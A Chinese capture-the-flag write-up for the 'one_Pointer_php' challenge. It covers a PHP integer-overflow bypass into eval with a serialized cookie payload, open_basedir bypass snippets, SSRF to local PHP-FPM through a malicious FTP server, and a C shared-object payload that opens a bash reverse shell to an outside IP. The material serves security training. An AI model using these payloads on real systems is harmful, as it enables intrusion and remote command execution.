one_Pointer_php

one_Pointer_php

知识点总结

  • 利用整数溢出获取webshell
  • open_basedir的绕过
  • disable_function绕过(伪造FastCGI请求PHP-CGI)
  • 恶意ftp服务直接打

题目给了源码,两个php文件,代码比较简单,需要绕过$count[]=1进入到eval命令执行

php 整数溢出

在 PHP 中,整型数是有一个范围的,对于32位的操作系统,最大的整型是2147483647,即2的31次方,最小为-2的31次方。如果给定的一个整数超出了整型(integer)的范围,将会被解释为浮点型(float)。同样如果执行的运算结果超出了整型(integer)范围,也会返回浮点型(float)。

则可以利用如下

1
2
3
4
5
<?php
$userconut = 9223372036854775806;
$count[++$userconut]=1;
$count[]=1;
print_r($count);

得到

1
2
3
4
5
6
7
8
PHP Warning:  Cannot add element to the array as the next element is already occupied in C:\Users\LiuSir\Desktop\www\index.php on line 4

Warning: Cannot add element to the array as the next element is already occupied in C:\Users\LiuSir\Desktop\www\index.php on line 4
Array
(
[9223372036854775807] => 1
)
[Finished in 0.2s]

可以看到代码报错了。这是因为先让

1
$user->count 为 PHP_INT_MAX - 1

自增之后,数组 count 的最大键为 PHP_INT_MAX,此时 $count[]=1,新键等于数组的最大键+1,键值为1,这里键为 PHP_INT_MAX + 1,导致报错,返回值为0,然后就可以成功绕过并进入到 eval() 中了。

拿到url编码后的序列化数据,改cookie即可进行eval执行命令

data=O%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bi%3A9223372036854775806%3B%7D;

发现disable_function
在这里插入图片描述
open_basedir
在这里插入图片描述

绕过open_basedir

  • ini_set绕过绕过
    1
    2
    3
    4
    5
    mkdir('z33');
    chdir('z33');
    ini_set('open_basedir','..');
    chdir('..');chdir('..');chdir('..');chdir('..');
    ini_set('open_basedir','/');
    或者glob协议绕过
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    <?php
    printf('<b>open_basedir : %s </b><br />', ini_get('open_basedir'));
    $file_list = array();
    // normal files
    $it = new DirectoryIterator("glob:///*");
    foreach($it as $f) {
    $file_list[] = $f->__toString();
    }
    // special files (starting with a dot(.))
    $it = new DirectoryIterator("glob:///.*");
    foreach($it as $f) {
    $file_list[] = $f->__toString();
    }
    sort($file_list);
    foreach($file_list as $f){
    echo "{$f}<br/>";
    }
    ?>

结果如下
在这里插入图片描述
在根目录里发现了 flag。

尝试使用 file_get_contents() 等函数读取均失败,猜测是出题人对flag的权限做了限制。那我们就要想办法提权了,但是要提权则必须先拿到 Shell 执行命令,也就是得要先绕过 disable_functions。

读取/proc/self/cmdline发现进程时php-fpm: pool www。猜测应该是攻击php-fpm来绕过disable_functions。则先读取nginx配置文件/etc/nginx/nginx.conf发现有发现有

include /etc/nginx/sites-enabled/*

  • sites_availables 指的是所有 nginx 站点;
  • sites_enabled 指的是当前开启的 nginx 站点;

再接着读/etc/nginx/sites-enabled/default,发现

在这里插入图片描述

发现 PHP-FPM 绑定在了本地 9001 端口上。

好了,既然我们可以通过 eval() 执行任意代码,那我们便可以构造恶意代码进行 SSRF,利用 SSRF 攻击本地的 PHP-FPM。但是由于这里禁用了许多函数和类,像那些普通能构成 SSRF 的函数和类都无法使用,但是 FTP 协议未被禁用。

我们可以通过在 VPS上搭建恶意的FTP服务器,骗取目标主机将 Payload 重定向到自己的 9001 端口上,从而实现攻击 PHP-FPM 并执行命令。

这里利用了 FTP 协议工作方式中的被动方式,在该方式中,FTP 客户端和服务端在建立控制通道的时候用二者的TCP 21端口建立连接,建立连接后发送 PASV 命令。FTP 服务器收到 PASV 命令后,随机打开一个高端端口(端口号大于1024)并且通知客户端在这个端口上传送数据的请求,客户端连接到 FTP 服务器的此高端端口,通过三次握手建立通道,然后FTP服务器将通过这个端口进行数据的传送。

首先尝试使用 Gopherus 生成的攻击 PHP-FPM 的 Payload 失败,然后尝试通过加载恶意 .so 扩展的方式。网上的脚本.

1
2
3
4
5
6
7
8
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
system("bash -c 'bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1'");
}

https://err0r.top/article/bluehat2021/
http://bubb1e.com/2021/04/29/%E8%93%9D%E5%B8%BD%E6%9D%AF2021WP_WEB/#0x02-one-Pointer-php
https://www.anquanke.com/post/id/233454
https://xz.aliyun.com/t/9544#toc-6
https://www.infoq.cn/article/vIcwtItzVK7B4YNOEj3e


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!